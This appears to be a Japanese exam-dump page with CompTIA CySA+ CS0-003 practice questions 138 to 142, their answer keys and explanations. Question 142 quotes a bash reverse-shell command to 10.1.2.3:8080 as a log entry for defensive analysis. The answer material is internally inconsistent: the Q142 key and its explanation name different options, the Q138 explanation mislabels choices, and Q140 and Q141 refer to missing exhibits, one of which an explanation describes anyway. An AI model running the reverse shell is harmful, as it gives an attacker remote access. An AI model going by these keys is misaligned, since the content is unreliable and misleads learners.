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CompTIA CS0-003 認定試験の出題範囲：

トピック	出題範囲
トピック 1	Incident Response and Management: It is centered around attack methodology frameworks, performing incident response activities, and explaining preparation and post-incident phases of the life cycle.
トピック 2	Reporting and Communication: This topic focuses on explaining the importance of vulnerability management and incident response reporting and communication.
トピック 3	Vulnerability Management: This topic discusses involving implementing vulnerability scanning methods, analyzing vulnerability assessment tool output, analyzing data to prioritize vulnerabilities, and recommending controls to mitigate issues. The topic also focuses on vulnerability response, handling, and management.
トピック 4	Security Operations: It focuses on analyzing indicators of potentially malicious activity, using tools and techniques to determine malicious activity, comparing threat intelligence and threat hunting concepts, and explaining the importance of efficiency and process improvement in security operations.

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CompTIA Cybersecurity Analyst (CySA+) Certification Exam 認定 CS0-003 試験問題 (Q138-Q143):

質問 # 138
A SOC analyst observes reconnaissance activity from an IP address. The activity follows a pattern of short bursts toward a low number of targets. An open-source review shows that the IP has a bad reputation. The perimeter firewall logs indicate the inbound traffic was allowed. The destination hosts are high-value assets with EDR agents installed. Which of the following is the best action for the SOC to take to protect against any further activity from the source IP?

A. Add the IP address to the EDR deny list.
B. Create a SIEM signature to trigger on any activity from the source IP subnet detected by the web proxy or firewalls for immediate notification.
C. Activate the scan signatures for the IP on the NGFWs.
D. Implement a prevention policy for the IP on the WAF.

正解：A

解説：
Blocking the IP address at the EDR (Endpoint Detection and Response) level provides an immediate, targeted response to the detected reconnaissance activity, preventing further interaction with the high-value assets. EDR tools are designed to detect and block malicious IPs across endpoints. According to CompTIA CySA+, this proactive step is effective for isolating and mitigating threats on specific endpoints. While creating SIEM signatures (B) is useful for monitoring, and policies on WAF (C) and NGFWs (D) can provide additional layers of defense, the most immediate protective action is to block at the endpoint level.

質問 # 139
A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

A. There is an issue with the SSL certificate causinq port 443 to become unavailable for HTTPS access
B. An on-path attack is being performed by someone with internal access that forces users into port 80
C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
D. An error was caused by BGP due to new rules applied over the company's internal routers

正解：B

解説：
An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker to compromise the user accounts and access the company's internal portal.

質問 # 140
A threat hunter seeks to identify new persistence mechanisms installed in an organization's environment. In collecting scheduled tasks from all enterprise workstations, the following host details are aggregated:

Which of the following actions should the hunter perform first based on the details above?

A. Acquire a copy of taskhw.exe from the impacted host
B. Perform a public search for malware reports on taskhw.exe.
C. Change the account that runs the -caskhw. exe scheduled task
D. Scan the enterprise to identify other systems with taskhw.exe present

正解：B

解説：
The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard path, it has a high CPU usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known malware or a legitimate program. If it is malware, the hunter can then take appropriate actions to remove it and prevent further damage. The other options are either premature or ineffective, as they do not provide enough information to assess the threat level of taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.exe Windows process - What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums

質問 # 141
Given the Nmap request below:

Which of the following actions will an attacker be able to initiate directly against this host?

A. Password sniffing
B. ARP spoofing
C. An SQL injection
D. A brute-force attack

正解：D

解説：
The Nmap command given in the question performs a TCP SYN scan (-sS), a service version detection scan (-sV), an OS detection scan (-O), and a port scan for ports 1-1024 (-p 1-1024) on the host 192.168.1.1. This command will reveal information about the host's operating system, open ports, and running services, which can be used by an attacker to launch a brute-force attack against the host. A brute-force attack is a method of guessing passwords or encryption keys by trying many possible combinations until finding the correct one. An attacker can use the information from the Nmap scan to target specific services or protocols that may have weak or default credentials, such as FTP, SSH, Telnet, or HTTP.

質問 # 142
A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A. #!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"
B. #!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK"
C. #!/bin/bashnetstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
D. #!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK"

正解：C

解説：
The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.
ReferenceCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.Reverse Shell Cheat Sheet, Bash section.

質問 # 143
......

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Sid Tate Sid Tate

Biography

CS0-003コンポーネント & CS0-003試験過去問

CompTIA CS0-003 認定試験の出題範囲：

CS0-003試験過去問 & CS0-003対応問題集

CompTIA Cybersecurity Analyst (CySA+) Certification Exam 認定 CS0-003 試験問題 (Q138-Q143):

Join Our 7452 Happy Students Today!

Contact Info

Sid Tate Sid Tate

Biography

CS0-003コンポーネント & CS0-003試験過去問

CompTIA CS0-003 認定試験の出題範囲：

CS0-003試験過去問 & CS0-003対応問題集

CompTIA Cybersecurity Analyst (CySA+) Certification Exam 認定 CS0-003 試験問題 (Q138-Q143):

Join Our 7452 Happy Students​ Today!

Contact Info

Join Our 7452 Happy Students Today!